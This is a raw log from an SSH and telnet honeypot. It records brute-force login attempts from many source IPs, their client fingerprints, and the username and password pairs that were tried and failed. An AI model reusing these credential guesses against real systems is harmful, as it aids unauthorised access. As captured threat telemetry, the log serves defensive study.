{"eventid":"cowrie.session.closed","duration":35.47219467163086,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:37.147967Z","src_ip":"107.6.151.170","session":"9c701b20d845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":58360,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f5b4a599f3f","protocol":"ssh","message":"New connection: 80.94.92.234:58360 (10.17.0.5:22) [session: 3f5b4a599f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:40.036570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:40.277341Z","src_ip":"80.94.92.234","session":"3f5b4a599f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:40.280201Z","src_ip":"80.94.92.234","session":"3f5b4a599f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:42.310574Z","src_ip":"80.94.92.234","session":"3f5b4a599f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:43.764599Z","src_ip":"80.94.92.234","session":"3f5b4a599f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":20504,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c72f3ff9484","protocol":"ssh","message":"New connection: 38.93.206.2:20504 (159.203.135.109:22) [session: 3c72f3ff9484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:53.904161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:53.908005Z","src_ip":"38.93.206.2","session":"3c72f3ff9484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:53.957804Z","src_ip":"38.93.206.2","session":"3c72f3ff9484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"excite","message":"login attempt [root/excite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:54.122345Z","src_ip":"38.93.206.2","session":"3c72f3ff9484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:55.173936Z","src_ip":"38.93.206.2","session":"3c72f3ff9484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":53264,"dst_ip":"10.17.0.5","dst_port":22,"session":"c58001d4cd15","protocol":"ssh","message":"New connection: 192.169.249.148:53264 (10.17.0.5:22) [session: c58001d4cd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:55.917308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:55.921453Z","src_ip":"192.169.249.148","session":"c58001d4cd15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:55.987826Z","src_ip":"192.169.249.148","session":"c58001d4cd15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portmoresby_papua","password":"portmoresby123","message":"login attempt [portmoresby_papua/portmoresby123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:56.213047Z","src_ip":"192.169.249.148","session":"c58001d4cd15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:57.280673Z","src_ip":"192.169.249.148","session":"c58001d4cd15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":43102,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d0abe4b56c5","protocol":"ssh","message":"New connection: 139.59.4.137:43102 (159.203.135.109:22) [session: 0d0abe4b56c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:15.098353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:15.102813Z","src_ip":"139.59.4.137","session":"0d0abe4b56c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:15.314903Z","src_ip":"139.59.4.137","session":"0d0abe4b56c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty255","message":"login attempt [admin/qwerty255] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:16.196670Z","src_ip":"139.59.4.137","session":"0d0abe4b56c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:17.412348Z","src_ip":"139.59.4.137","session":"0d0abe4b56c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":48810,"dst_ip":"159.203.135.109","dst_port":22,"session":"7775d3744de5","protocol":"ssh","message":"New connection: 69.163.176.54:48810 (159.203.135.109:22) [session: 7775d3744de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:30.108502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:30.112613Z","src_ip":"69.163.176.54","session":"7775d3744de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:30.183263Z","src_ip":"69.163.176.54","session":"7775d3744de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"theta2024","message":"login attempt [root/theta2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:30.397244Z","src_ip":"69.163.176.54","session":"7775d3744de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:45:31.469880Z","src_ip":"69.163.176.54","session":"7775d3744de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":44428,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63eae425b79","protocol":"ssh","message":"New connection: 101.36.119.203:44428 (10.17.0.5:22) [session: f63eae425b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:47.134710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:47.138867Z","src_ip":"101.36.119.203","session":"f63eae425b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:47.352003Z","src_ip":"101.36.119.203","session":"f63eae425b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2014!","message":"login attempt [root/server2014!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:48.236738Z","src_ip":"101.36.119.203","session":"f63eae425b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:49.453098Z","src_ip":"101.36.119.203","session":"f63eae425b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":46920,"dst_ip":"159.203.135.109","dst_port":22,"session":"7da96a47e8a9","protocol":"ssh","message":"New connection: 139.59.4.137:46920 (159.203.135.109:22) [session: 7da96a47e8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:53.223922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:53.226039Z","src_ip":"139.59.4.137","session":"7da96a47e8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:53.434470Z","src_ip":"139.59.4.137","session":"7da96a47e8a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t123456789","message":"login attempt [root/t123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:54.305559Z","src_ip":"139.59.4.137","session":"7da96a47e8a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:46:55.517182Z","src_ip":"139.59.4.137","session":"7da96a47e8a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50976,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d629d125965","protocol":"telnet","message":"New connection: 94.23.66.112:50976 (10.17.0.5:23) [session: 4d629d125965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:09.935341Z"}
{"eventid":"cowrie.session.closed","duration":0.003305196762084961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:09.938526Z","src_ip":"94.23.66.112","session":"4d629d125965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":49172,"dst_ip":"159.203.135.109","dst_port":23,"session":"628b69e5ff7f","protocol":"telnet","message":"New connection: 137.184.5.188:49172 (159.203.135.109:23) [session: 628b69e5ff7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:21.955431Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55396,"dst_ip":"10.17.0.5","dst_port":22,"session":"925f445cfe41","protocol":"ssh","message":"New connection: 103.149.28.157:55396 (10.17.0.5:22) [session: 925f445cfe41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:32.966791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:32.974363Z","src_ip":"103.149.28.157","session":"925f445cfe41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:33.217516Z","src_ip":"103.149.28.157","session":"925f445cfe41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveit","message":"login attempt [root/loveit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:33.941211Z","src_ip":"103.149.28.157","session":"925f445cfe41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:35.184673Z","src_ip":"103.149.28.157","session":"925f445cfe41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":33246,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f586a516579","protocol":"ssh","message":"New connection: 80.94.92.234:33246 (10.17.0.5:22) [session: 1f586a516579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:44.526710Z"}
